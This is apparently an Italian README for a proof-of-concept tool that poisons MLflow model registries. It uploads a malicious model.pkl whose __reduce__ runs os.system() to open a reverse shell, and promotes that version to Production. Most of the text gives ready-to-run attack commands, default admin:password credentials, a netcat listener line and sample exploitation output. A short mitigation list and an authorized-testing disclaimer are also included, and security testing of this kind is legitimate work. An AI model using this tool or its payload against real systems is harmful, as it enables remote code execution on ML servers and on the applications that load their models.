
Proof-of-concept che avvelena i modelli registrati in MLflow tramite la REST API, incorporando un pickle malevolo per attivare l'RCE quando il modello viene caricato.
Proof-of-concept generico per RCE da deserializzazione pickle contro i registri di modelli MLflow (stile CVE-2024-37054). Comunica solo con l'API REST di MLflow — nessuna assunzione su alcuna applicazione client specifica davanti ad essa.
⚠️ Solo per test di sicurezza autorizzati. Eseguilo solo contro sistemi che possiedi o che sei esplicitamente autorizzato a testare (ambienti CTF/lab, ingaggi con scope firmato, ecc.). L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni.
Il flavor pyfunc di MLflow carica un modello registrato tramite unpickling di un artefatto model.pkl ogni volta che viene chiamato mlflow.pyfunc.load_model() — che sia attivato direttamente tramite l'UI/API di MLflow, o indirettamente da qualche applicazione client che esegue inferenza su un modello registrato.
Il modulo pickle di Python può eseguire codice arbitrario durante la deserializzazione tramite il metodo __reduce__ di un oggetto. Se un attaccante ha accesso sufficiente all'API di MLflow per:
...può introdurre di nascosto un pickle malevolo come model.pkl. La prossima volta che qualcosa carica quella versione del modello, il codice dell'attaccante viene eseguito nel contesto del processo che effettua il caricamento (il server MLflow stesso, o un'app client che incorpora MLflow).
Questa è la stessa primitiva alla base di diverse CVE di MLflow, tra cui CVE-2023-6015, CVE-2023-6018 e CVE-2024-37054. È particolarmente pericolosa perché le istanze MLflow sono spesso distribuite senza autenticazione, o con credenziali predefinite ben note (admin:password).
Puramente guidato dall'API, in ordine:
--model-name).model.pkl — un pickle il cui __reduce__ chiama os.system() per avviare una reverse shell.MLmodel — il manifest che dichiara un flavor python_function / sklearn supportato da quel pickle.Production), poiché molte app client caricano solo la versione del modello in stage Production.Non scopre né attiva il caricamento effettivo del modello — quella parte è diversa per ogni distribuzione:
mlflow.pyfunc.load_model() dietro qualche endpoint (una rotta /predict, un job batch pianificato, ecc).Devi:
--model-name target — dall'UI di MLflow, dall'API di MLflow (/api/2.0/mlflow/registered-models/search), o da qualunque cosa restituisca un'applicazione client quando registra un modello per tuo conto.pip install requests --break-system-packages
Python 3.8+. Nessun'altra dipendenza.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Avvia un listener prima o dopo l'esecuzione:
nc -lvnp 4444
Poi attiva il caricamento in qualunque modo lo faccia l'applicazione target (il suo endpoint di inferenza, un job batch, caricando manualmente il modello dall'UI di MLflow, ecc).
| Flag | Default | Descrizione |
|---|---|---|
--mlflow | (obbligatorio) | URL base di MLflow |
--model-name | casuale | Nome del modello registrato da avvelenare; creato se non esiste |
--lhost | (obbligatorio) | IP del tuo listener |
--lport | 4444 | Porta del tuo listener |
--username | admin | Username per la basic auth di MLflow |
--password | password | Password per la basic auth di MLflow |
--experiment-id | 0 | ID dell'esperimento sotto cui creare il run |
--stage | Production | Stage a cui promuovere la versione malevola, o none per saltare la transizione |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) in uso.pickle (es. ONNX, o flavor con serializzazione più sicura), oppure valida/isola il caricamento dei modelli.registered-models/create, model-versions/create e transition-stage nei log di audit/accesso di MLflow, specialmente da account che non dovrebbero pubblicare modelli in Production.load_model()) così che una primitiva di esecuzione di codice lì non abbia un percorso diretto verso sistemi interni sensibili.MIT — vedi LICENSE.